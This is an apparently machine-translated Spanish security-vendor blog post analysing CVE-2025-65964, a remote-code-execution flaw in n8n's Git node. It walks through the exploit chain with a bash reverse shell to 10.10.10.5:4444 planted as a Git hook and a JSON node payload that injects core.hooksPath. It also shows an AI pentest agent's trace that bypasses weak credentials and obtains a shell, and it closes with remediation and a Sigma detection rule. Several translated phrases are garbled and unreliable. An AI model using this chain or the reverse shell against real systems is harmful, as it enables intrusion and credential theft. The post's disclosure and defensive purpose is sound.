Cabecera Penligente

CVE-2025-65964: Weaponizing Git Hooks in n8n for Critical RCE in AI Infrastructure (Utilización de ganchos Git en n8n para RCE crítico en infraestructura de IA)

En el panorama en rápida evolución de la seguridad de la IA, la industria a menudo se fija en los ataques de adversarios contra los modelos de lenguaje de gran tamaño (como la inyección rápida), mientras que descuida el "esqueleto" en ruinas que mantiene unidos a estos agentes: la capa de orquestación.

El 8 de diciembre de 2025, la comunidad de seguridad reveló CVE-2025-65964El sistema operativo de Microsoft, una vulnerabilidad crítica de ejecución remota de código (RCE) en n8nla herramienta de automatización de flujos de trabajo de código abierto más popular del mundo. Con una puntuación CVSS v4 de 9,4 (Crítico)Sin embargo, este fallo no es sólo otro bug web. Representa un sofisticado abuso de la lógica de configuración subyacente de Git, armando operaciones legítimas de control de versiones para comprometer el sistema nervioso central de las pilas modernas de IA.

Este artículo va más allá del aviso genérico. Desde la perspectiva de un Equipo Rojo duro, diseccionaremos toda la Cadena de explotaciónla causa raíz, y por qué se trata del "Ataque Agenético a la Cadena de Suministro" por excelencia.

El contexto: Cuando Git se convierte en el vector

n8n se ha convertido en la piedra angular de las aplicaciones de IA modernas, y se utiliza ampliamente para unir LLM (como GPT-5), bases de datos vectoriales (como Pinecone) y API internas. Para apoyar el CI/CD y el control de versiones para los flujos de trabajo, n8n se suministra con un potente, incorporado Nodo Git.

El núcleo de CVE-2025-65964 radica en que el Nodo Git n8n no sanea las claves de configuración durante el addConfig operación. Los atacantes aprovechan este descuido para anular el core.hooksRuta secuestrando el flujo de ejecución del binario Git.

CVE-2025-65964: Weaponizing Git Hooks in n8n for Critical RCE in AI Infrastructure (Utilización de ganchos Git en n8n para RCE crítico en infraestructura de IA)

Comprender core.hooksRuta

En una arquitectura Git estándar, los hooks (scripts ejecutados en eventos como escriba a, checkout, fusionar) se almacenan en el repositorio .git/hooks directorio. Por razones de seguridad, Git no replica estos ganchos cuando clona un repositorio.

Sin embargo, Git 2.9 introdujo la opción de configuración core.hooksPath, que permite a los usuarios definir una ruta personalizada para los hooks en cualquier parte del sistema de archivos.

Si un atacante puede controlar esta clave de configuración y apuntarla a un directorio al que tenga acceso de escritura (por ejemplo, /tmp/ o un directorio de subida de archivos), la próxima vez que n8n realice cualquier operación Git, Git saldrá de su sandbox y ejecutará el script del atacante.

La cadena de explotación: Una clase magistral sobre fallos lógicos

Un exploit exitoso requiere más que una sola carga útil; requiere "Orquestación Lógica". A continuación reproducimos paso a paso el ataque de nuestro laboratorio de investigación.

Fase 1: Reconocimiento y acceso

En primer lugar, el atacante accede al editor de flujos de trabajo de n8n. En muchas intranets corporativas, n8n es desplegado por ingenieros de IA y científicos de datos, a menudo sin autenticación estricta o detrás de credenciales débiles por defecto.

Confirmación del objetivo: 0.123.1 <= n8n Versión < 1.119.2.

Fase 2: Preparación de la carga útil

Desde core.hooksRuta apunta a un directorio, el atacante debe primero plantar un script ejecutable con un nombre de gancho Git específico (por ejemplo, después de pagar) en una ubicación en la que se pueda escribir.

Usando n8n's "Escribir archivo binario" (o un nodo "Ejecutar comando" si no está reforzado), el atacante suelta un script malicioso.

Ejemplo de script malicioso (/tmp/pwn/post-checkout):

Bash

`#!/bin/bash

Una carga de shell inversa

Se ejecuta silenciosamente tras una operación de checkout de Git

/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1`

Fase 3: Inyección de configuración

Este es el punto de activación. El atacante crea un Nodo Git y selecciona la operación "Add Config". Normalmente, los usuarios configuran nombre.usuario o usuario.email. Sin embargo, al manipular directamente los parámetros JSON, el atacante inyecta la peligrosa clave.

La carga útil del exploit JSON:

JSON

{ "parámetros": { "operation": "addConfig", "configName": "core.hooksPath", "configValue": "/tmp/pwn", "repositoryPath": "/home/node/.n8n/git/workflow_repo" }, "name": "Weaponized_Git_Config", "type": "n8n-nodes-base.git", "typeVersion": 1, "position": [460, 300] }

Cuando se ejecuta este nodo, se ejecuta el proceso subyacente n8n:

git config -file /home/node/.n8n/git/workflow_repo/.git/config core.hooksPath /tmp/pwn

Fase 4: El desencadenante

Una vez establecida la configuración, es persistente. El atacante simplemente añade otro Nodo Git al flujo de trabajo para realizar una operación benigna, como git checkout master o git status.

Secuencia: Git Process Starts -> Lee core.hooksPath -> Carga /tmp/pwn/post-checkout -> RCE Ejecutado.

CVE-2025-65964: Weaponizing Git Hooks in n8n for Critical RCE in AI Infrastructure (Utilización de ganchos Git en n8n para RCE crítico en infraestructura de IA)

Por qué es una pesadilla la infraestructura de IA

Para los ingenieros de seguridad, comprender la impacto es más crítico que el propio fallo. En la era de la IA, un servidor n8n no es sólo un servicio web; es un Bóveda de llaves.

  1. Volcado de credenciales: La base de datos n8n contiene claves API cifradas para OpenAI, AWS Bedrock, Snowflake y Slack. Con acceso shell, un atacante puede descifrar estas credenciales (a menudo se encuentran en ~/.n8n/database.sqlite), lo que lleva a un compromiso total del entorno de nube de la empresa.
  2. Envenenamiento RAG: Los atacantes pueden secuestrar los flujos de trabajo que escriben en las bases de datos vectoriales. Mediante la inyección de fragmentos de conocimiento malicioso, pueden manipular la salida de los sistemas RAG corporativos internos, facilitando la ingeniería social profunda o las campañas de desinformación.
  3. Riesgos de fuga del contenedor: Muchos despliegues n8n se ejecutan con privilegios elevados (o -privileged) para permitir que las bibliotecas Python como LangChain interactúen con el sistema. En tales casos, RCE dentro del contenedor es funcionalmente equivalente a Root en el host.

Estudio de caso Penligent: Agente contra agente

En Penligent.ailo clasificamos como un "fallo lógico". Los escáneres DAST tradicionales no detectan CVE-2025-65964 porque:

  • Los escáneres no saben "construir un flujo de trabajo".
  • Los escáneres no pueden entender la lógica temporal de "Escribir archivo primero, configurar Git después".

Sin embargo, los agentes automatizados de pruebas de penetración de Penligent demuestran capacidades de razonamiento que imitan a los atacantes humanos avanzados.

[Rastreo interno del agente Penligent - 2025-12-09 14:02:33]

Observación: Puerto objetivo 5678 abierto. Identificado como n8n. Bypass de credenciales débiles exitoso.

Razonamiento: Detectada capacidad Git Node. La base de conocimientos indica riesgo de inyección Git Config. La ejecución directa de comandos está bloqueada. ¿Puedo lograr la ejecución mediante la manipulación del entorno o de la configuración?

Plan de acción:

  1. Inténtelo Ejecutar orden para verificar la salida (Fallido, nodo desactivado).
  2. Estrategia de pivote: Buscar primitivas de escritura de archivos. Escribir archivo binario está disponible.
  3. Construir Exploit Chain: Escribir reverse shell en /tmp/.git-hooks -> Inyectar core.hooksPath a través de Git Node -> Activar Git Log.Ejecución: Ejecución de flujo de trabajo ID pwn_test_01.Resultado: Reverse shell callback recibido. Vulnerabilidad verificada.

Esta es la principal propuesta de valor de Penligente: Utilizar la IA para luchar contra la IA. Nuestros agentes no se limitan a cotejar las huellas dactilares, sino que comprenden la lógica empresarial y simulan las maniobras de los adversarios de alto nivel en un entorno seguro.

n8n
CVE-2025-65964 PoC

Defensa y detección

Remediación

  • Parche inmediatamente: Actualizar el n8n a la versión 1.119.2 o posterior. La nueva versión implementa una lista estricta de permisos para addConfig llaves.
  • Endurecimiento: Utilice la N8N_NODES_EXCLUDE=["n8n-nodes-base.git"] en su configuración de Docker para desactivar completamente el nodo Git si no es de misión crítica.

Caza de amenazas

Si sospecha que se ha producido una infracción, audite el .git/config archivos en sus servidores n8n.

Ejemplo de regla de detección Sigma:

YAML

título: Suspicious Git Config Modification via n8n status: experimental logsource: category: process_creation product: linux detection: selection: ParentImage|endswith: '/node' Image|endswith: '/git' CommandLine|contiene: - 'config' - 'core.hooksPath' condición: selección nivel: alto

Cualquier comando Git generado por un proceso Node.js que intente modificar core.hooksRuta debe tratarse como un indicador de compromiso (IoC) de alta fidelidad.

Conclusión

CVE-2025-65964 demuestra una vez más que, a medida que el desarrollo de software se desplaza hacia arquitecturas "nativas de agente", los límites tradicionales se difuminan. La flexibilidad de nuestras herramientas es a menudo el mayor enemigo de la seguridad.

Para el ingeniero de seguridad hardcore, el campo de batalla se ha desplazado desde el Frontend Web al Backend de Orquestación. No te limites a observar las peticiones HTTP; observa los flujos de trabajo que se ejecutan silenciosamente en segundo plano. Observa las operaciones Git automatizadas. Esta es la primera línea de 2025.

Si su equipo carece de mano de obra para verificar manualmente riesgos lógicos tan complejos, puede que haya llegado el momento de incorporar Penligente-el red teamer digital inteligente que mantiene la línea en la era de la IA.

Enlaces internos / Referencias:

Comparte el post:
Entradas relacionadas
es_ESSpanish